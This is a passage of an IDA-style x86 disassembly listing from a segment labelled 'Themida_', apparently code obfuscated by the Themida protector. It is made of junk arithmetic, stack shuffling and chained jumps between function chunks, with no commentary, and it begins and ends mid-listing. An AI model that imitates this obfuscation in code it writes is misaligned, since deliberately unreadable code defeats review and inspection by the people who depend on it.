; ---------------------------------------------------------------------------
loc_56112F: ; CODE XREF: Themida_:005688F4j
add cl, dh
pop edx
jmp loc_5676AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561137: ; CODE XREF: sub_56755A-3160j
push ecx
mov ecx, 4
add edi, ecx
pop ecx
sub esp, 4
jmp loc_56A965
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56114B: ; CODE XREF: Themida_:0056A04Aj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
push ebp
mov ebp, 2
jmp loc_57005C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561161: ; CODE XREF: sub_56755A-3DABj
push edx
jmp loc_56A9DA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EB5
loc_561167: ; CODE XREF: sub_560EB5+EEEFj
mov dx, si
jmp loc_55F620
; END OF FUNCTION CHUNK FOR sub_560EB5
; ---------------------------------------------------------------------------
loc_56116F: ; CODE XREF: Themida_:005695A0j
pop ebp
sub esp, 4
mov [esp], eax
jmp loc_560788
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56117B: ; CODE XREF: sub_56755A+2DE2j
push 7D67h
jmp loc_5660FB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565CEF
loc_561185: ; CODE XREF: sub_565CEF+8B50j
pop ecx
push edx
push eax
pop edx
pop eax
dec eax
xchg eax, edx
inc edx
push edi
mov edi, 759D1D13h
and edx, edi
pop edi
and edx, 640773CBh
add edx, 655742E3h
sub edi, edx
pop edx
sub edi, 3107722Bh
sub edi, esi
add edi, 3107722Bh
add edi, 695853E6h
push [esp+4+var_4]
pop esi
jmp sub_56EE26
; END OF FUNCTION CHUNK FOR sub_565CEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5611C2: ; CODE XREF: sub_56755A+B76j
mov [esp+2Ah+var_2C+2], ebx
push 1
jmp loc_566178
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5611CF: ; CODE XREF: Themida_:005629C9j
push ebp
mov ebp, 4
jmp loc_566582
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5611DA: ; CODE XREF: sub_56755A+6655j
xor ecx, [esp+2Eh+var_30+2]
mov esp, [esp+2Eh+var_30+2]
jmp loc_56A32F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_5611E5: ; CODE XREF: sub_56CD48+Cj
push dword ptr [esp+0]
jmp loc_5647BD
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
loc_5611ED: ; CODE XREF: Themida_:00568D33j
mov edx, 544D3896h
push edx
inc dword ptr [esp]
pop edx
dec edx
dec edx
xor edx, 74C61F57h
inc edx
xor edx, 6572664Bh
sub esi, edx
pop edx
jmp loc_56DD0B
; ---------------------------------------------------------------------------
loc_56120E: ; CODE XREF: Themida_:00569BF6j
add ebp, 510A4794h
add ebp, esi
sub ebp, 510A4794h
pop esi
push esi
jmp loc_567C45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_561223: ; CODE XREF: sub_56CEC8-480Cj
and ah, 7Ch
add ah, 20h
sub bl, ah
jmp loc_562C39
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561230: ; CODE XREF: sub_56755A+8174j
add esi, ecx
jmp loc_55DA96
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_568633
; ---------------------------------------------------------------------------
loc_561242: ; CODE XREF: Themida_:0056E150j
pop esp
jmp loc_57054A
; ---------------------------------------------------------------------------
mov ax, [esp]
push 73AEh
mov [esp], edi
push esp
jmp loc_568C91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56125A: ; CODE XREF: sub_56755A+2C69j
pop eax
add esp, 4
sub esp, 4
mov [esp+2Ah+var_2C+2], ebp
push esi
mov esi, 542E754Ah
jmp loc_566999
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561272: ; CODE XREF: Themida_:0056FEF4j
mov edi, 7E45E7Eh
xor eax, edi
mov edi, [esp]
add esp, 4
xor eax, 1146796Ch
and eax, 28C912A3h
neg eax
sub eax, 0F7B7FF7Dh
jmp loc_55D68A
; ---------------------------------------------------------------------------
loc_561295: ; CODE XREF: Themida_:005647B3j
push 60B8h
mov [esp], eax
jmp loc_56D6F0
; ---------------------------------------------------------------------------
loc_5612A2: ; CODE XREF: Themida_:00564949j
push eax
mov ah, 0D2h
mov bl, ah
pop eax
add bl, 8Bh
xchg dl, bl
inc dl
xchg dl, bl
shl bl, 1
jmp loc_56F4D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5612B8: ; CODE XREF: sub_56755A-AF68j
inc eax
add eax, 18B0C2BAh
add edx, eax
mov eax, [esp+16h+var_18+2]
add esp, 4
add eax, 3FB05B82h
add eax, edx
jmp loc_56CC2D
; ---------------------------------------------------------------------------
loc_5612D5: ; CODE XREF: sub_56755A+38C6j
pop edi
xor eax, edi
xor edi, eax
xor eax, edi
sub eax, 330D3B89h
jmp sub_5608D9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_5612E6: ; CODE XREF: sub_565C4A-78Fj
pop eax
jmp loc_55CDB7
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5612EC: ; CODE XREF: sub_56755A-7BD5j
push edi
mov edi, 5B4347C6h
jmp loc_560A24
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5612F7: ; CODE XREF: Themida_:0056D256j
push edi
mov edi, 3F56713Ch
push ebp
mov ebp, 669B7F84h
jmp loc_5614E9
; ---------------------------------------------------------------------------
loc_561308: ; CODE XREF: Themida_:00560265j
pop esp
add edx, 2
xchg edx, [esp]
jmp loc_567D1E
; ---------------------------------------------------------------------------
loc_561314: ; CODE XREF: Themida_:0056ED84j
inc eax
sub eax, 60D902FBh
push 625h
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_55D047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_56133B: ; CODE XREF: sub_56CD48+2C11j
sub ebp, 38966C2Eh
sub ebp, 4E677671h
jmp loc_56D431
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56134C: ; CODE XREF: sub_56755A+8815j
mov ebp, 5D6A380Dh
xor ebp, 0FAB6779h
jmp loc_55BEB0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56135C: ; CODE XREF: Themida_:005607AEj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_56E59C
; ---------------------------------------------------------------------------
loc_56136A: ; CODE XREF: Themida_:00565144j
sub eax, ebx
pop ebx
pop ecx
push 57AAh
mov [esp], ecx
mov ecx, 2
sub eax, 7DE064F0h
add eax, ecx
jmp loc_55DA0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561387: ; CODE XREF: sub_56755A-25E8j
add [esp-8+arg_8], ecx
jmp loc_56C905
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_561390: ; CODE XREF: sub_56B62C+7j
mov cl, dh
not cl
mov dh, cl
pop cx
add dh, 7Eh
sub dh, 1
dec dh
not dh
jmp loc_562159
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
loc_5613A7: ; CODE XREF: Themida_:00562D5Cj
push ecx
mov ch, 0C5h
jmp loc_561E5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5613AF: ; CODE XREF: sub_56755A+72C4j
add esi, 4
xor esi, [esp-8+arg_4]
xor [esp-8+arg_4], esi
jmp loc_56580A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5613BD: ; CODE XREF: Themida_:0056C840j
mov [esp], edx
not dword ptr [esp]
pop edx
xor edx, 6AD93A7Ch
shr edx, 6
neg edx
push esi
jmp loc_56218B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_5613D5: ; CODE XREF: sub_565269+7CE8j
push esp
jmp loc_564370
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_5613DB: ; CODE XREF: sub_562F62+4169j
push 4F69h
mov [esp+0Ch+var_C], edi
mov edi, 44C40F86h
or edi, 2D876A83h
shr edi, 1
not edi
push ebx
push 64D0h
mov [esp+14h+var_14], edi
mov edi, 3783B804h
mov ebx, edi
jmp loc_56E6FC
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
loc_561407: ; CODE XREF: Themida_:0055FA0Dj
mov edi, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_56F468
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56141A: ; CODE XREF: sub_56755A-6B3Bj
push 0ADBh
mov [esp+18h+var_18], eax
mov ah, 0D5h
dec ah
sub ah, 60h
push 0
sub byte ptr [esp+1Ch+var_1C], ah
mov ah, byte ptr [esp+1Ch+var_1C]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+20h+var_20]
pop esp
or ah, 34h
add ah, 41h
or bl, ah
jmp loc_56E71A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561451: ; CODE XREF: Themida_:0056D97Aj
pop esp
mov [esp], edi
mov edi, esp
jmp loc_568B15
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_562CC0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_561465: ; CODE XREF: sub_56026A+B666j
push eax
mov eax, 4
jmp loc_56712A
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561470: ; CODE XREF: sub_56755A-92B9j
inc ecx
push ebx
mov ebx, 70C723AAh
or ecx, ebx
pop ebx
inc ecx
xor ecx, 7DEF27F2h
jmp loc_566B0C
; ---------------------------------------------------------------------------
loc_561486: ; CODE XREF: sub_56755A+53B2j
add esp, 4
add esp, 4
add edx, 4
add edx, 4
xor edx, [esp-8+arg_4]
jmp loc_566C10
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_5614A0: ; CODE XREF: sub_56F7FC+24Ej
xor edx, eax
pop eax
mov ecx, edx
pop edx
jmp loc_56B7DC
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_5614AB: ; CODE XREF: Themida_:005601B3j
add eax, edx
add eax, 18FC50B9h
pop edx
xchg eax, [esp]
pop esp
jmp loc_570318
; ---------------------------------------------------------------------------
loc_5614BC: ; CODE XREF: Themida_:0056A569j
push esi
jmp loc_570512
; ---------------------------------------------------------------------------
loc_5614C2: ; CODE XREF: Themida_:0056AF41j
dec ecx
not ecx
add ecx, 0FFFFFFFFh
dec ecx
add ecx, 0FFFFFFFFh
xor ecx, 0CF25F642h
jmp loc_56FBE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E65
loc_5614DD: ; CODE XREF: sub_569E65-E467j
add eax, 3464119h
sub eax, ecx
jmp loc_568ADF
; END OF FUNCTION CHUNK FOR sub_569E65
; ---------------------------------------------------------------------------
loc_5614E9: ; CODE XREF: Themida_:00561303j
push ebp
not dword ptr [esp]
jmp loc_56C6E4
; ---------------------------------------------------------------------------
loc_5614F2: ; CODE XREF: Themida_:0055E235j
pop edi
and ecx, 5AAD25FBh
push 3A61h
mov [esp], ebp
mov ebp, 43AA3895h
sub ebp, 31872299h
and ebp, 23FB139Bh
push 0
jmp loc_56D692
; ---------------------------------------------------------------------------
loc_56151C: ; CODE XREF: Themida_:0056984Aj
pop ebx
push edx
push 0D10h
jmp loc_566FE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B25
loc_561528: ; CODE XREF: sub_565B25+7B68j
dec ebx
jmp sub_5643BC
; END OF FUNCTION CHUNK FOR sub_565B25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560DA7
loc_56152E: ; CODE XREF: sub_560DA7+3j
mov edx, 76AC1B3Fh
mov ebp, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
sub ebp, 72491150h
shl ebp, 5
jmp loc_5600D0
; END OF FUNCTION CHUNK FOR sub_560DA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643B1
loc_56154C: ; CODE XREF: sub_5643B1+6j
mov [esp+4+var_4], ebx
mov ebx, edi
push ebx
push ebp
push esi
push 7A3F6912h
pop esi
jmp loc_5673C0
; END OF FUNCTION CHUNK FOR sub_5643B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_56155F: ; CODE XREF: sub_56D164-3321j
sub ebp, 7D35058Ah
mov esi, ebp
mov ebp, [esp-4+arg_0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
push ecx
mov ecx, 7B61754Dh
or ecx, 79DE5FFFh
dec ecx
or ecx, 1335387Ch
xor ecx, 346E602Ah
sub ebp, ecx
jmp loc_55D941
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
loc_56159A: ; CODE XREF: Themida_:0056277Cj
mov cl, [esp+2]
mov [esp+2], dl
pop dx
jmp loc_569F2A
; =============== S U B R O U T I N E =======================================
sub_5615A9 proc near ; CODE XREF: sub_56755A+18F7j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
var_2 = word ptr -2
arg_2 = dword ptr 6
; FUNCTION CHUNK AT 0055C14A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C7C8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005604FE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005623DE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00564720 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005663CE SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056A8E9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CA71 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056D480 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DF07 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056EAEA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056FD89 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570376 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570541 SIZE 00000009 BYTES
sub esp, 2
mov [esp+0], dx
mov dh, 29h
add al, 0FBh
sub al, 18h
jmp loc_570541
sub_5615A9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5615BE: ; CODE XREF: Themida_:0056DD25j
add esp, 4
push 3B43h
mov [esp], ebp
push 4
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_56D8EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5615E5: ; CODE XREF: sub_56755A+7D6Dj
mov edx, [esp-8+arg_4]
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 525860C0h
push edx
mov edx, 1
jmp loc_55DFB0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_561601: ; CODE XREF: sub_56CB1B-C86Ej
add edx, edi
pop edi
jmp loc_55E3F6
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626C
loc_561609: ; CODE XREF: sub_56626C+Aj
dec al
push edx
mov dl, 0BFh
shl dl, 8
jmp loc_567256
; END OF FUNCTION CHUNK FOR sub_56626C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561616: ; CODE XREF: sub_56755A+8E79j
push small 38E0h
jmp loc_5608FD
; ---------------------------------------------------------------------------
loc_56161F: ; CODE XREF: sub_56755A-323j
push 50BCh
mov [esp+0Ah+var_C+2], edx
mov edx, 37D314AAh
dec edx
push esi
mov esi, 57EF2D68h
jmp loc_56E3FB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561638: ; CODE XREF: Themida_:00564425j
neg eax
push edx
jmp loc_56EAC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561640: ; CODE XREF: sub_56755A-BBFj
pop esi
neg ebp
shr ebp, 6
jmp loc_55BF0D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56164B: ; CODE XREF: Themida_:00569EBAj
xor dh, cl
pop ecx
inc dh
xor dh, 0DAh
sub al, 0C3h
add al, dh
add al, 0C3h
push dword ptr [esp]
pop edx
jmp loc_56907C
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_55B555
; =============== S U B R O U T I N E =======================================
sub_56166C proc near ; CODE XREF: sub_5664A8-7A2Fj
push ebx
mov ebx, 381075B0h
sub edx, ebx
pop ebx
push dword ptr [esp+0]
pop esi
add esp, 4
jmp loc_55B555
sub_56166C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561684: ; CODE XREF: sub_56755A+64CCj
pop edi
xchg ecx, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
inc word ptr [esp+6+var_8+2]
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561695: ; CODE XREF: Themida_:0055C8E5j
mov esp, [esp]
add edi, 2
push edi
jmp loc_5669C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5616A1: ; CODE XREF: sub_56755A+174Fj
xor eax, [esp+0Ah+var_C+2]
xor [esp+0Ah+var_C+2], eax
xor eax, [esp+0Ah+var_C+2]
jmp loc_566F78
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_5616AF: ; CODE XREF: sub_560B67+62EDj
mov edi, 5EC838DDh
or edi, 6D915E0Dh
shl edi, 7
jmp loc_55CA99
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5616C2: ; CODE XREF: sub_56755A-6912j
mov edx, [esp+18h+var_18]
add esp, 4
add esp, 4
sub edi, 3383E295h
xor ebx, edi
push [esp+10h+var_10]
jmp loc_5625BF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E257
loc_5616DB: ; CODE XREF: sub_55E257+Bj
push ecx
push 2987D17h
pop ecx
push eax
mov eax, 79554834h
sub eax, 69E01714h
and eax, 40774EB9h
jmp loc_55D033
; END OF FUNCTION CHUNK FOR sub_55E257
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_5616F7: ; CODE XREF: sub_56D600-982Cj
not dh
xor dh, 0D1h
push eax
jmp loc_56CF56
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
loc_561702: ; CODE XREF: Themida_:0056AD0Aj
pop ecx
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push edx
jmp loc_570559
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561712: ; CODE XREF: sub_56755A-8048j
pop esi
jmp loc_563CD9
; ---------------------------------------------------------------------------
loc_561718: ; CODE XREF: sub_56755A-1656j
xchg ecx, [esp+30h+var_30]
pop esp
mov [esp+2Ch+var_2C], esp
add [esp+2Ch+var_2C], 4
mov edx, [esp+2Ch+var_2C]
add esp, 4
push ebx
sub esp, 4
mov [esp+30h+var_30], ebp
mov ebp, 5C7946A7h
xchg ecx, ebp
not ecx
xchg ecx, ebp
jmp loc_55F597
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_561746: ; CODE XREF: sub_55CD7B+D3E1j
xor edx, esi
pop esi
jmp loc_56A7EA
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
loc_56174E: ; CODE XREF: Themida_:0055BB66j
mov edx, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
jmp loc_560F18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561762: ; CODE XREF: sub_56755A+237Ej
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_55DD51
; ---------------------------------------------------------------------------
loc_561773: ; CODE XREF: sub_56755A+29CBj
mov ebx, esp
add ebx, 4
jmp loc_56BE30
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561780: ; CODE XREF: Themida_:00560F73j
xor ebx, [esp]
pop esp
jmp loc_56E932
; ---------------------------------------------------------------------------
loc_561789: ; CODE XREF: Themida_:0056CF7Aj
mov cx, 10EDh
jmp loc_56EF84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EF75
loc_561792: ; CODE XREF: sub_55EF75+11j
add edi, 4
sub edi, 4
xchg edi, [esp+8+var_8]
jmp loc_5682FB
; END OF FUNCTION CHUNK FOR sub_55EF75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_5617A6: ; CODE XREF: sub_56F13C-88B5j
not eax
inc eax
add eax, 9010403h
add edx, eax
pop eax
add edx, 4
push edx
push [esp+arg_0]
pop edx
pop dword ptr [esp+0]
jmp loc_56100B
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
loc_5617C5: ; CODE XREF: Themida_:005625BAj
mov bl, 9Dh
mov cl, bl
pop ebx
add cl, 6Eh
xor dl, cl
pop ecx
jmp loc_5694D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5617D5: ; CODE XREF: sub_56755A+66BDj
mov edx, [esp+34h+var_34]
add esp, 4
xor ecx, [esp+30h+var_30]
xor [esp+30h+var_30], ecx
xor ecx, [esp+30h+var_30]
mov esp, [esp+30h+var_30]
push ebp
push 800000h
jmp loc_56A856
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5617F2: ; CODE XREF: Themida_:00560CE5j
add ch, ah
push ebx
mov bh, 7Eh
neg bh
sub bh, 0BDh
shl bh, 7
neg bh
push eax
mov ah, 0BAh
xor bh, ah
pop eax
add ch, bh
pop ebx
mov eax, [esp]
add esp, 4
jmp loc_569047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55BA18
loc_561818: ; CODE XREF: sub_55BA18+1Aj
mov [esp+4+var_4], ebx
jmp loc_55C2A6
; END OF FUNCTION CHUNK FOR sub_55BA18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561820: ; CODE XREF: sub_56755A-B4D5j
mov ah, dh
pop edx
mov cl, ah
pop eax
jmp loc_55CC5A
; ---------------------------------------------------------------------------
loc_56182B: ; CODE XREF: sub_56755A+2B6j
pop esp
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 0F6AC26CBh
push esi
mov esi, 1F183AA7h
sub edx, esi
pop esi
sub edx, ebx
add edx, 1F183AA7h
jmp loc_562C14
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561850: ; CODE XREF: Themida_:0056E570j
add esi, 4
jmp loc_5674FB
; ---------------------------------------------------------------------------
loc_56185B: ; CODE XREF: Themida_:0056245Dj
shl ecx, 8
jmp loc_55F741
; ---------------------------------------------------------------------------
loc_561863: ; CODE XREF: Themida_:00568312j
pop ecx
push ebx
push 3E7B36DDh
jmp loc_55EB11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_56186F: ; CODE XREF: sub_56CEE9-10455j
mov edx, ebp
push 59B5h
mov [esp+0Ch+var_C], edx
sub [esp+0Ch+var_C], 3FF7CCDh
pop ebx
push edi
mov edi, 3FF7CCDh
add ebx, 70610845h
add ebx, 4D7338D3h
add ebx, edi
jmp loc_564E56
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_56189A: ; CODE XREF: sub_55FDEF-14C9j
add eax, 6F903598h
add eax, esi
sub eax, 6F903598h
jmp loc_55EFD9
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5618AB: ; CODE XREF: sub_56755A+7AEj
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop edx
add edx, 4
jmp loc_563C15
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_5618C1: ; CODE XREF: sub_56C86A-630Bj
mov ebx, 2
sub ebp, 1EDF54AEh
add ebp, ebx
add ebp, 1EDF54AEh
push [esp+4+var_4]
pop ebx
push ebx
jmp loc_56EA4D
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_5618DE: ; CODE XREF: sub_563973+B244j
push edx
mov edx, 63FB56F6h
jmp loc_5689AC
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5618E9: ; CODE XREF: sub_56755A-3D8j
add ebx, 4C0FBEEEh
add ebp, ebx
pop ebx
jmp loc_562C65
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5618F7: ; CODE XREF: Themida_:0056B56Bj
push 7D3Eh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
jmp loc_55CE1E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561909: ; CODE XREF: sub_56755A-B545j
add eax, 4
xchg eax, [esp+12h+var_14+2]
mov esp, [esp+12h+var_14+2]
loc_561912: ; CODE XREF: sub_5643B1+70C8j
sub esp, 4
mov [esp+16h+var_18+2], esi
push ebx
sub [esp+1Ah+var_1C+2], 64FF7986h
jmp loc_563997
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DE37
loc_561928: ; CODE XREF: sub_55DE37-1DAAj
pop esp
or edx, eax
jmp loc_568516
; END OF FUNCTION CHUNK FOR sub_55DE37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_561930: ; CODE XREF: sub_56E89A-A928j
mov [esp+0], eax
jmp loc_56F053
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_561938: ; CODE XREF: Themida_:00562B56j
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ebx, 2
jmp loc_55C94E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561956: ; CODE XREF: sub_56755A-9561j
mov ebp, 4
jmp loc_56B4BF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561960: ; CODE XREF: Themida_:0056423Bj
shr bl, 4
shr bl, 2
xor bl, 0A2h
jmp loc_560D0A
; ---------------------------------------------------------------------------
loc_56196E: ; CODE XREF: Themida_:0055E789j
add ebx, 1D114B42h
add ebx, eax
sub ebx, 1D114B42h
pop eax
xchg ebx, [esp]
jmp loc_560302
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_561985: ; CODE XREF: sub_56CB1B+22EEj
add ebx, 4
xor ebx, [esp+8+var_8]
xor [esp+8+var_8], ebx
jmp loc_560299
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_561993: ; CODE XREF: sub_562F50-5595j
push 4A6Dh
mov [esp+4+var_4], edi
mov edi, 0B90AB6FFh
sub eax, 52DF7B69h
sub eax, edi
jmp loc_562612
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
loc_5619AC: ; CODE XREF: Themida_:0056266Cj
mov ah, 3Ah
xor dh, ah
pop eax
push 11C6h
mov [esp], eax
mov al, 1Dh
push dx
mov dh, al
not dh
mov al, dh
mov dx, [esp]
